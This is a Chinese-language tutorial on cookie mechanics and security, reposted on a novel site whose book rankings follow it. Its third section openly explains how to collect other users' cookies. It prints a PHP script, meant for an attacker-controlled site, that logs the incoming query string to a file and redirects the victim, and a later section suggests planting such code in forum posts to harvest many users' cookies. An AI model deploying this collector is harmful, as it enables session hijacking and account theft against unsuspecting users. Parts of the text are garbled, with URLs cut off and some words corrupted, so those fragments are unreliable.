小說王-台灣最大小說網 > 都市言情 > 網絡新聞 > Cookie的傳遞流程及安全問題

Cookie的傳遞流程及安全問題



編者按:Cookie在英文中是小甜品的意思,而這個詞我們總能在浏覽器中看到,食品怎麽會跟浏覽器扯上關系呢?在你浏覽以前登陸過的網站時可能會在網頁中出現:你好XX,感覺很親切,就好像是吃了一個小甜品一樣。這其實是通過訪問你主機裏邊的一個文件來實現的,因此這個文件也就被稱爲了Cookie。想全面了解Cookie嗎?看看下文吧!

發布一、了解Cookie适用對象:初級讀者

發布Cookie是當你浏覽某網站時,網站存儲在你機器上的一個小文本文件,它記錄了你的用戶ID,密碼、浏覽過的網頁、停留的時間等信息,當你再次來到該網站時,網站通過讀取Cookie,得知你的相關信息,就可以做出相應的動作,如在頁面顯示歡迎你的标語,或者讓你不用輸入ID、密碼就直接登錄等等。你可以在IE的“工具/Inte選項”的“常規”選項卡中,選擇“設置/查看文件”,查看所有保存到你電腦裏的Cookie。這些文件通常是以user@domain格式命名的,user是你的本地用戶名,domain是所訪問的網站的域名。如果你使用NetsCape浏覽器,則存放在“C:PROGRAMFILESNETSCAPEUSERS”裏面,與IE不同的是,NETSCAPE是使用一個Cookie文件記錄所有網站的Cookies。

發布爲了保證上網安全我們需要對Cookie進行适當設置。打開“工具/Inte選項”中的“隐私”選項卡(注意該設置隻在IE6.0中存在,其他版本IE可以在“工具/Inte選項”的“安全”标簽中單擊“自定義級别”按鈕,進行簡單調整),調整Cookie的安全級别。通常情況,可以将滑塊調整到“中高”或者“高”的位置。多數的論壇站點需要使用Cookie信息,如果你從來不去這些地方,可以将安全級調到“阻止所有Cookies”。如果隻是爲了禁止個别網站的Cookie,可以單擊“編輯”按鈕,将要屏蔽的網站添加到列表中。在“高級”按鈕選項中,你可以對第一方Cookie偷谌方的Cookie進行設置,第一方Cookie是你正在浏覽的網站的Cookie,第三方Cookie非正在浏覽的網站發給你的Cookie,通常要對第三方Cookie選擇“拒絕”,如圖1。你如果需要保存Cookie,可以使用IE的“導入導出”功能,打開“文件/導入導出”,按提示操作即可。

發布Cookie中的内容大多數經過了加密處理,因此在我們看來隻是一些毫無意義的字母數字組合,隻有服務器的CGI處理程序才知道它們真正的含義。通過一些軟件我們可以查看到更多的内容,使用CookiePal軟件查看到的Cookie信息,如圖2所示。它爲我們提供了Server、Expires、Name、Value等選項的内容。其中,Server是存儲Cookie的網站,Expires記錄了Cookie的時間和生命期,Name和value字段則是具體的數據(本報第10期第42版對該軟件有詳細介紹)。

發布二、Cookie的傳遞流程适用對象:中級讀者

發布當在浏覽器地址欄中鍵入了一個Web站點的URL,浏覽器會向該Web站點發送一個讀取網頁的請求,并将結果在顯示器上顯示。這時該網頁在你的電腦上尋找Amazon網站設置的Cookie文件,如果找到,浏覽器會把Cookie文件中的數據連同前面輸入的URL一同發送到Amazon服務器。服務器收到Cookie數據,就會在他的數據庫中檢索你的ID,你的購物記錄、個人喜好等信息,并記錄下新的内容,增加到數據庫和Cookie文件中去。如果沒有檢測到Cookie或者你的Cookie信息與數據庫中的信息不符合,則說明你是第一次浏覽該網站,服務器的CGI程序将爲你創建新的ID信息,并保存到數據庫中。

發布Cookie是利用了網頁代碼中的HTTP頭信息進行傳遞的,浏覽器的每一次網頁請求,都可以伴随Cookie傳遞,例如,浏覽器的打開或刷新網頁操作。服務器将Cookie添加到網頁的HTTP頭信息中,伴随網頁數據傳回到你的浏覽器,浏覽器會根據你電腦中的Cookie設置選擇是否保存這些數據。如果浏覽器不允許Cookie保存,則關掉浏覽器後,這些數據就消失。Cookie在電腦上保存的時間是不一樣的,這些都是由服務器的設置不同決定得。Cookie有一個Expires(有效期)屬性,這個屬性決定了Cookie的保存時間,服務器可以通過設定Expires字段的數值,來改變Cookie的保存時間。如果不設置該屬性,那麽Cookie隻在浏覽網頁期間有效,關閉浏覽器,這些Cookie自動消失,絕大多數網站屬于這種情況。通常情況下,Cookie包含Server、Expires、Name、Value這幾個字段,其中對服務器有用的隻是Name和Value字段,Expires等字段的内容僅僅是爲了告訴浏覽器如何處理這些Cookies。

發布三、Cookie的編程實現适用對象:高級讀者

發布多數網頁編程語言都提供了對Cookie的支持。如JavaScript、VBScript、Delphi、ASP、SQL、PHP、C#等。在這些面向對象的編程語言中,對Cookie的編程利用基本上是相似的,大體過程爲:先創建一個Cookie對象(Object),然後利用控制函數對Cookie進行賦值、讀取、寫入等操作。那麽如何通過代碼來獲取其他用戶Cookie中的敏感信息?下面進行簡單的介紹。

發布該方法主要有兩步,首先要定位你需要收集Cookie的網站,并對其進行分析,并構造URL;然後編制收集Cookie的PHP代碼,并将其放到你可以控制的網站上,當不知情者單擊了你構造的URL後可以執行該PHP代碼。下面我們看具體的實現過程。

發布1.分析并構造URL

發布首先打開我們要收集Cookie的網站,這裏假設是http://發布2.編制PHP腳本

發布該腳本的作用就是收集Cookie文件,具體内容如下:

發布$info=getenv(‘QUERY_STRING‘);

發布if($info){

發布$fp=fopen(‘info.txt‘,‘a‘);

發布fwrite($fp,$info.‘‘);

發布fclose($fp);

發布}

發布header(‘Location:http://發布?>

發布四、Cookie的安全問題适用對象:所有希望上網安全的讀者

發布1.Cookie欺騙

發布Cookie記錄着用戶的帳戶ID、密碼之類的信息,如果在網上傳遞,通常使用的是MD5方法加密。這樣經過加密處理後的信息,即使被網絡上一些别有用心的人截獲,也看不懂,因爲他看到的隻是一些無意義的字母和數字。然而,現在遇到的問題是,截獲Cookie的人不需要知道這些字符串的含義,他們隻要把别人的Cookie向服務器提交,并且能夠通過驗證,他們就可以冒充受害人的身份,登陸網站。這種方法叫做Cookie欺騙。Cookie欺騙實現的前提條件是服務器的驗證程序存在漏洞,并且冒充者要獲得被冒充的人的Cookie信息。目前網站的驗證程序要排除所有非法登錄是非常困難的,例如,編寫驗證程序使用的語言可能存在漏洞。而且要獲得别人Cookie是很容易的,用支持Cookie的語言編寫一小段代碼就可以實現(具體方法見三),隻要把這段代碼放到網絡裏,那麽所有人的Cookie都能夠被收集。如果一個論壇允許HTML代碼或者允許使用Flash标簽就可以利用這些技術收集Cookie的代碼放到論壇裏,然後給帖子取一個吸引人的主題,寫上有趣的内容,很快就可以收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至于如何防範,目前還沒有特效藥,我們也隻能使用通常的防護方法,不要在論壇裏使用重要的密碼,也不要使用IE自動保存密碼的功能,以及盡量不登陸不了解底細的網站。

發布2.Flash的代碼隐患

發布Flash中有一個getURL()函數,Flash可以利用這個函數自動打開指定的網頁。因此它可能把你引向一個包含惡意代碼的網站。打個比方,當你在自己電腦上欣賞精美的Flash動畫時,動畫幀裏的代碼可能已經悄悄地連上網,并打開了一個極小的包含有特殊代碼的頁面。這個頁面可以收集你的Cookie、也可以做一些其他的事情,比如在你的機器上種植木馬甚至格式化你的硬盤等等。對于Flash的這種行爲,網站是無法禁止的,因爲這是Flash文件的内部行爲。我們所能做到的,如果是在本地浏覽盡量打開防火牆,如果防火牆提示的向外發送的數據包并不爲你知悉,最好禁止。如果是在Inte上欣賞,最好找一些知名的大網站。

;

追書top10

熊學派的阿斯塔特 |

道詭異仙 |

靈境行者 |

苟在妖武亂世修仙 |

深海餘燼 |

亂世書 |

明克街13号 |

詭秘之主 |

誰讓他修仙的! |

宇宙職業選手

網友top10

苟在妖武亂世修仙 |

苟在高武疊被動 |

全民機車化:無敵從百萬增幅開始 |

我得給這世界上堂課 |

說好制作爛遊戲,泰坦隕落什麽鬼 |

亂世書 |

英靈召喚:隻有我知道的曆史 |

大明國師 |

參加戀綜,這個小鮮肉過分接地氣 |

這爛慫截教待不下去了

搜索top10

宇宙職業選手 |

苟在妖武亂世修仙 |

靈境行者 |

棄妃竟是王炸:偏執王爺傻眼倒追 |

光明壁壘 |

亂世書 |

明克街13号 |

這遊戲也太真實了 |

道詭異仙 |

大明國師

收藏top10

死靈法師隻想種樹 |

乘龍仙婿 |

參加戀綜,這個小鮮肉過分接地氣 |

當不成儒聖我就掀起變革 |

牧者密續 |

我得給這世界上堂課 |

從皇馬踢後腰開始 |

這個文明很強,就是科技樹有點歪 |

熊學派的阿斯塔特 |

重生的我沒有格局

完本top10

深空彼岸 |

終宋 |

我用閑書成聖人 |

術師手冊 |

天啓預報 |

重生大時代之1993 |

不科學禦獸 |

陳醫生,别慫! |

修仙就是這樣子的 |

美漫世界黎明軌迹